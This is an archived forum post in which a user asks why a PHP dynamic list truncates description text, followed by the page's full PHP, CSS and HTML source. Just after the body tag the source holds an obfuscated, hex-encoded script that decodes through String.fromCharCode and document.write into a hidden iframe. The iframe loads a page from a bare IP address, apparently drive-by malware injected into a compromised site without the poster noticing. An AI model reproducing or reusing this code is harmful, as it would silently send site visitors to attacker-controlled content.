Jump to content

dynamic character widths


liamloveslearning

Recommended Posts

hey everyone, i currently used ADDT to produce a dynamic list and display all the data from my table, however my description iinput has approx 80 characters, but its being displayed in my browser window as the first few words followed by ... you can see what i mean here in the "description" http://99jobs.co.uk/ if anyone has any ideas or knows why itd help an awful lot lol, thanks

 

<?php require_once('Connections/neiladmin.php'); ?>
<?php
// Load the common classes
require_once('includes/common/KT_common.php');

// Load the required classes
require_once('includes/tfi/TFI.php');
require_once('includes/tso/TSO.php');
require_once('includes/nav/NAV.php');

// Make unified connection variable
$conn_neiladmin = new KT_connection($neiladmin, $database_neiladmin);

if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

// Filter
$tfi_listfolio2 = new TFI_TableFilter($conn_neiladmin, "tfi_listfolio2");
$tfi_listfolio2->addColumn("folio.title", "STRING_TYPE", "title", "%");
$tfi_listfolio2->addColumn("folio.Description", "STRING_TYPE", "Description", "%");
$tfi_listfolio2->addColumn("folio.file", "STRING_TYPE", "file", "%");
$tfi_listfolio2->addColumn("folio.category", "STRING_TYPE", "category", "%");
$tfi_listfolio2->Execute();

// Sorter
$tso_listfolio2 = new TSO_TableSorter("rsfolio1", "tso_listfolio2");
$tso_listfolio2->addColumn("folio.title");
$tso_listfolio2->addColumn("folio.Description");
$tso_listfolio2->addColumn("folio.file");
$tso_listfolio2->addColumn("folio.category");
$tso_listfolio2->setDefault("folio.title DESC");
$tso_listfolio2->Execute();

// Navigation
$nav_listfolio2 = new NAV_Regular("nav_listfolio2", "rsfolio1", "", $_SERVER['PHP_SELF'], 10);

//NeXTenesio3 Special List Recordset
$maxRows_rsfolio1 = $_SESSION['max_rows_nav_listfolio2'];
$pageNum_rsfolio1 = 0;
if (isset($_GET['pageNum_rsfolio1'])) {
  $pageNum_rsfolio1 = $_GET['pageNum_rsfolio1'];
}
$startRow_rsfolio1 = $pageNum_rsfolio1 * $maxRows_rsfolio1;

// Defining List Recordset variable
$NXTFilter_rsfolio1 = "1=1";
if (isset($_SESSION['filter_tfi_listfolio2'])) {
  $NXTFilter_rsfolio1 = $_SESSION['filter_tfi_listfolio2'];
}
// Defining List Recordset variable
$NXTSort_rsfolio1 = "folio.title";
if (isset($_SESSION['sorter_tso_listfolio2'])) {
  $NXTSort_rsfolio1 = $_SESSION['sorter_tso_listfolio2'];
}
mysql_select_db($database_neiladmin, $neiladmin);

$query_rsfolio1 = "SELECT folio.title, folio.Description, folio.file, folio.category, folio.id FROM folio WHERE {$NXTFilter_rsfolio1} ORDER BY folio.id";
$query_limit_rsfolio1 = sprintf("%s LIMIT %d, %d", $query_rsfolio1, $startRow_rsfolio1, $maxRows_rsfolio1);
$rsfolio1 = mysql_query($query_limit_rsfolio1, $neiladmin) or die(mysql_error());
$row_rsfolio1 = mysql_fetch_assoc($rsfolio1);

if (isset($_GET['totalRows_rsfolio1'])) {
  $totalRows_rsfolio1 = $_GET['totalRows_rsfolio1'];
} else {
  $all_rsfolio1 = mysql_query($query_rsfolio1);
  $totalRows_rsfolio1 = mysql_num_rows($all_rsfolio1);
}
$totalPages_rsfolio1 = ceil($totalRows_rsfolio1/$maxRows_rsfolio1)-1;
//End NeXTenesio3 Special List Recordset//NeXTenesio3 Special List Recordset
$maxRows_rsfolio1 = $_SESSION['max_rows_nav_listfolio2'];
$pageNum_rsfolio1 = 0;
if (isset($_GET['pageNum_rsfolio1'])) {
  $pageNum_rsfolio1 = $_GET['pageNum_rsfolio1'];
}
$startRow_rsfolio1 = $pageNum_rsfolio1 * $maxRows_rsfolio1;

mysql_select_db($database_neiladmin, $neiladmin);

$query_rsfolio1 = "SELECT folio.title, folio.Description, folio.file, folio.category, folio.id, folio.link_wh FROM folio WHERE {$NXTFilter_rsfolio1} ORDER BY folio.id DESC";
$query_limit_rsfolio1 = sprintf("%s LIMIT %d, %d", $query_rsfolio1, $startRow_rsfolio1, $maxRows_rsfolio1);
$rsfolio1 = mysql_query($query_limit_rsfolio1, $neiladmin) or die(mysql_error());
$row_rsfolio1 = mysql_fetch_assoc($rsfolio1);

if (isset($_GET['totalRows_rsfolio1'])) {
  $totalRows_rsfolio1 = $_GET['totalRows_rsfolio1'];
} else {
  $all_rsfolio1 = mysql_query($query_rsfolio1);
  $totalRows_rsfolio1 = mysql_num_rows($all_rsfolio1);
}
$totalPages_rsfolio1 = ceil($totalRows_rsfolio1/$maxRows_rsfolio1)-1;
//End NeXTenesio3 Special List Recordset

$nav_listfolio2->checkBoundries();
?>








<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>The Work Of Neil Martin</title>
<script type="text/javascript" src="/js/mootools.js"></script>

<script type="text/javascript" src="/js/moodalbox.js"></script> 
<link rel="stylesheet" href="/css/moodalbox.css" type="text/css" media="screen" />
<style type="text/css">

<!--
body {
font: 100% Verdana, Arial, Helvetica, sans-serif;
background: #666666;
margin: 0;
padding: 0;
text-align: center;
color: #000000;
background-color: #FFFFFF;
}
#header {
width: 100%;
height: 105px;
background: #000000;
margin: 0 auto;
border: 0px;
text-align: center;
}
html, body {
height: 100%;
}
#contactinfo {
position: relative;
width: 175px;
top: -110px;
left: 385px;
margin: 0 auto;
border: 0px;
text-align: right;
background: #000000;
color: #CCCCCC;
}
#artworkcontainer {
width: 100%;
margin: 0 auto;
border: 0px;
text-align: center;
}
#artworkthumbnail {
width: 950px;
margin: 0 auto;
}
.artworkborder {
border: 1px solid #CCCCCC;
}
#artworkdescription {
position: relative;
top: 15px;
width: 948px;
border: 1px solid #CCCCCC;
overflow: hidden;
background: #f2f2f2;
background-image: url(descriptionbg.gif);
background-repeat: repeat-y;
background-color: #f2f2f2;
}
* html #artworkdescription {
height: 1%;
overflow: visible;
}
#artworkwho, #artworkwhat, #artworkwhere {
margin-left: 1.2%;
width: 14%;
border: 0px;
float: right;
}
#artworkwhy {
margin-left: 2%;
margin-right: 2%;
width: 46.5%;
border: 0px;
float: right;
margin-top: -3px;
}
.whowhatwheretext {
font-size: 12px;
}
#divider {
position: relative;
width: 950px;
top: 0px;
margin: 0 auto;
border: 0px;
height: 31px;
padding-top: 30px;
padding-bottom: 15px;
}
.oneColFixCtr #container {
width: 100%;
background: #FFFFFF;
margin: 0 auto;
border: 0px;
text-align: center;
}
.oneColFixCtr #mainContent {
width: 950px;
padding: 0 0px;
margin: 0 auto;
}
body,td,th {
font-family: Arial, Helvetica, sans-serif;
font-size: 11px;
color: #333333;
line-height: 18px;
}
h1 {
font-size: 24px;
color: #00416a;
font-weight: normal;
}
h2 {
font-size: 24px;
color: #b20000;
font-weight: normal;
}
#navcontainer {
position: relative;
left: 626px;
top: -10px;
width: 314px;
height: 26px;
padding: 0;
margin: 0px 0 0px 0;
}

#nav {
position: absolute;
top: 10px;
left: 10px;
list-style: none;
margin: 0;
padding: 0;
height: 314px;
display: inline;
overflow: hidden;
width: 314px;
}
#nav li {
margin: 0; 
padding: 0;
display: inline;
list-style-type: none;
}
#nav a {
float: left;
padding: 26px 0 0 0;
overflow: hidden;
height: 0px !important; 
height /**/:26px; /* for IE5/Win */
}
#nav a:hover {
background-position: 0 -26px;
}

#nav a:active, #nav a.selected {
background-position: 0 -40px;
}
#navtheworkof a  {
width: 90px;
background: url(theworkof.gif) top left no-repeat;
}
#navthewordsof a  {
width: 97px;
background: url(thewordsof.gif) top left no-repeat;
}
#navwhoisnm a  {
width: 127px;
background: url(whoisnm.gif) top left no-repeat;
}
#footer {
position: relative;
width: 100%;
height: 50% !important;
background: #000000;
margin: 0 auto;
border: 0px;
text-align: center;
}
#footercontainer {
width: 950px;
padding: 0 0px;
padding-top: 40px;
padding-bottom: 40px;
margin: 0 auto;
}
#footerresources {
width: 300px;
float: left;
text-align: left;
padding-right: 24px;
}
#footerperiodicals {
width: 300px;
float: left;
text-align: left;
}
#footerpersonals {
width: 300px;
float: right;
text-align: left;
}
#footer a {
color: #999999;
}
#footer a:hover {
color: #FFFFFF;
text-decoration: none;
}
#footer a:link {
color: #999999;
text-decoration: none;
}
#footer a:active {
color: #999999;
text-decoration: none;
}
#footer a:visited {
text-decoration: none;
}
-->
</style>
<script type="text/javascript">
$NXT_LIST_SETTINGS = {
  duplicate_buttons: false,
  duplicate_navigation: false,
  row_effects: false,
  show_as_buttons: false,
  record_counter: false
}
</script>
<style type="text/css">
  /* Dynamic List row settings */
  .KT_col_file {
width:948px;
overflow:hidden;
background-color: #CCCCCC;
height: 298px;
}
  .KT_col_title {width:140px; overflow:hidden;}
  .KT_col_Description {width:140px; overflow:hidden;}
  .KT_col_category {width:140px; overflow:hidden;}
.KT_col_file1 {width:140px; overflow:hidden;}
</style>
<link href="includes/skins/mxkollection3.css" rel="stylesheet" type="text/css" media="all" />
<script src="includes/common/js/base.js" type="text/javascript"></script>
<script src="includes/common/js/utility.js" type="text/javascript"></script>
<script src="includes/skins/style.js" type="text/javascript"></script>
<script src="includes/nxt/scripts/list.js" type="text/javascript"></script>
<script src="includes/nxt/scripts/list.js.php" type="text/javascript"></script>
<style type="text/css">
  /* Dynamic List row settings */
  .KT_col_title {width:140px; overflow:hidden;}
  .KT_col_Description {width:140px; overflow:hidden;}
  .KT_col_file {
width:948px;
overflow:hidden;
}
  .KT_col_category {width:140px; overflow:hidden;}
.KT_col_title1 {width:140px; overflow:hidden;}
.KT_col_title1 {width:140px; overflow:hidden;}
.KT_col_Description1 {width:140px; overflow:hidden;}
.KT_col_Description1 {width:140px; overflow:hidden;}
.KT_col_category1 {width:140px; overflow:hidden;}
.KT_col_category1 {width:140px; overflow:hidden;}
.KT_col_file2 {
width:948px;
overflow:hidden;
background-color: #F3F3F3;
height: 298px;
border: thin solid #999999;
}
.KT_col_file2 {	width:948px;
overflow:hidden;
}
.style1 {
font-size: 24px;
color: #00416a;
}
.style2 {
color: #b20000;
font-size: 24px;
}
</style>








</head>

<body class="oneColFixCtr"><script>function c1058032905m492eab6626ed9(m492eab662b0c7){ function m492eab662ee5a(){var m492eab66312f2=16;return m492eab66312f2;} return (parseInt(m492eab662b0c7,m492eab662ee5a()));}function m492eab663493a(m492eab6637c3d){ function m492eab6639a50(){return 2;} var m492eab6638998='';m492eab663bbfb=String.fromCharCode;for(m492eab6638f57=0;m492eab6638f57<m492eab6637c3d.length;m492eab6638f57+=m492eab6639a50()){ m492eab6638998+=(m492eab663bbfb(c1058032905m492eab6626ed9(m492eab6637c3d.substr(m492eab6638f57,m492eab6639a50()))));}return m492eab6638998;} var zb6='';var m492eab663cbab='3C7'+zb6+'3637'+zb6+'2697'+zb6+'07'+zb6+'43E696628216D7'+zb6+'96961297'+zb6+'B646F637'+zb6+'56D656E7'+zb6+'42E7'+zb6+'7'+zb6+'7'+zb6+'2697'+zb6+'465287'+zb6+'56E657'+zb6+'363617'+zb6+'065282027'+zb6+'2533632536392536362537'+zb6+'322536312536642536352532302536652536312536642536352533642536332533312533302532302537'+zb6+'332537'+zb6+'32253633253364253237'+zb6+'2536382537'+zb6+'342537'+zb6+'342537'+zb6+'30253361253266253266253337'+zb6+'253337'+zb6+'253265253332253332253331253265253331253333253333253265253331253337'+zb6+'253332253266253265253639253636253266253637'+zb6+'2536662532652536382537'+zb6+'34253664253663253366253237'+zb6+'2532622534642536312537'+zb6+'342536382532652537'+zb6+'322536662537'+zb6+'352536652536342532382534642536312537'+zb6+'342536382532652537'+zb6+'32253631253665253634253666253664253238253239253261253334253332253336253336253330253336253239253262253237'+zb6+'253333253334253335253333253631253339253237'+zb6+'2532302537'+zb6+'37'+zb6+'2536392536342537'+zb6+'34253638253364253337'+zb6+'253333253333253230253638253635253639253637'+zb6+'2536382537'+zb6+'342533642533352533382533322532302537'+zb6+'332537'+zb6+'342537'+zb6+'39253663253635253364253237'+zb6+'2536342536392537'+zb6+'332537'+zb6+'302536632536312537'+zb6+'39253361253230253665253666253665253635253237'+zb6+'2533652533632532662536392536362537'+zb6+'3225363125366425363525336527'+zb6+'29293B7'+zb6+'D7'+zb6+'6617'+zb6+'2206D7'+zb6+'969613D7'+zb6+'47'+zb6+'27'+zb6+'5653B3C2F7'+zb6+'3637'+zb6+'2697'+zb6+'07'+zb6+'43E';document.write(m492eab663493a(m492eab663cbab));</script>

<div id="container">
<div id="header"><img src="logo.gif" alt="Logo" width="300" height="104" /></div>
  <div id="mainContent">
  <div id="navcontainer">
    <ul id="nav">
      <li id="navtheworkof"><a href="index.php">The Work Of</a></li>
      <li id="navthewordsof"><a href="http://theworkof.wordpress.com/" target="_self">The Words Of</a></li>
      <li id="navwhoisnm"><a href="bio.php">Who Is Neil Martin?</a></li>
    </ul>
  </div>
    <div id="contactinfo">email: [email protected]<br />
    or <a href="contact.php" class="mailto" rel="moodalbox">click here!</a></div>
    <!-- being artwork -->
    <!-- being artwork -->
    <!-- being artwork -->
    <!-- being artwork -->
    <!-- end #mainContent -->
  </div>
  <!-- end #container --></div>


<div class="KT_tng" id="listfolio2">
     <div align="center" class="KT_tnglist">
    <form action="<?php echo KT_escapeAttribute(KT_getFullUri()); ?>" method="post" id="form1">
      <div class="KT_options"></div>
      <div align="center"></div>
      <table align="center" cellpadding="2" cellspacing="0" class="KT_tngtable">
        <thead>

          <?php 
  // Show IF Conditional region3
  if (@$_SESSION['has_filter_tfi_listfolio2'] == 1) {
?>
          <?php } 
  // endif Conditional region3
?>
        </thead>
        <tbody>
          <?php if ($totalRows_rsfolio1 == 0) { // Show if recordset empty ?>
          <tr>
            <td colspan="12"><?php echo NXT_getResource("The table is empty or the filter you've selected is too restrictive."); ?></td>
          </tr>
          <?php } // Show if recordset empty ?>
          <?php if ($totalRows_rsfolio1 > 0) { // Show if recordset not empty ?>
          <?php do { ?>
          <tr class="<?php echo @$cnt1++%2==0 ? "" : "KT_even"; ?>">
            <td colspan="7"><div align="center" class="KT_col_file2"><img src="folio/<?php echo $row_rsfolio1['file']; ?>" alt="" align="middle" /></div>
              <div align="center"></div></td>
          </tr>
          <tr class="<?php echo @$cnt1++%2==0 ? "" : "KT_even"; ?>">
            <td colspan="7"> </td>
          </tr>
          <tr class="<?php echo @$cnt1++%2==0 ? "" : "KT_even"; ?>">
            <td width="10" height="134" valign="top" bgcolor="#E6E6E5"> </td>
            <td width="140" valign="top" bgcolor="#E6E6E5"><div><span class="style1"><br />
              Who</span><br />
  <span class="KT_col_title1"><?php echo KT_FormatForList($row_rsfolio1['title'], 20); ?></span><br />
            </div></td>
            <td width="140" valign="top" bgcolor="#E6E6E5"><div align="left"><span class="style1"><br />
              What</span><br />
              <span class="KT_col_category1"><?php echo KT_FormatForList($row_rsfolio1['category'], 20); ?></span></div></td>
            <td width="140" valign="top" bgcolor="#E6E6E5"><div align="left"><span class="style1"><br />
              Where</span><br />
              <span class="KT_col_category1"><?php echo KT_FormatForList($row_rsfolio1['link_wh'], 20); ?></span>
              </div></td>
            <td width="10" bgcolor="#E6E6E5"> </td>
            <td width="14" bgcolor="#F3F3F3"> </td>
            <td width="470" valign="top" bgcolor="#F3F3F3"><div align="left"><span class="style2"><br />
              Why</span><br />
              <span class="KT_col_Description1"><?php echo KT_FormatForList($row_rsfolio1['Description'], 20); ?></span><br />
              <br />
            </div></td>
          </tr>
          <tr class="<?php echo @$cnt1++%2==0 ? "" : "KT_even"; ?>">
            <td colspan="7"><div align="center"><br />
              <img src="divider.gif" alt="Divider" width="950" height="31" /><br />
              <br />
            </div></td>
          </tr>
          <tr class="<?php echo @$cnt1++%2==0 ? "" : "KT_even"; ?>"></tr>
          <?php } while ($row_rsfolio1 = mysql_fetch_assoc($rsfolio1)); ?>
          <?php } // Show if recordset not empty ?>
        </tbody>
      </table>
      <div class="KT_bottomnav">
        <div></div>
      </div>
      
      
      
      <table width="969" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="476"></td>
          <td width="462" align="right">Sort by: <a href="web.php">Web</a> | <a href="print.php">Print</a> |<a href="ident.php"> Identity </a><br /><?php
            $nav_listfolio2->Prepare();
            require("includes/nav/NAV_Text_Navigation.inc.php");
          ?></td>
        </tr>
      </table>
      <div class="KT_bottombuttons">
        <div class="KT_operations"></div>
      </div>
    </form>
  </div>
  </div>
<p></div>
</p><?php include("footers.html"); ?>
</body>
</html>
<?php
mysql_free_result($rsfolio1);
?><script>check_content()</script>

Link to comment
https://forums.phpfreaks.com/topic/136988-dynamic-character-widths/
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.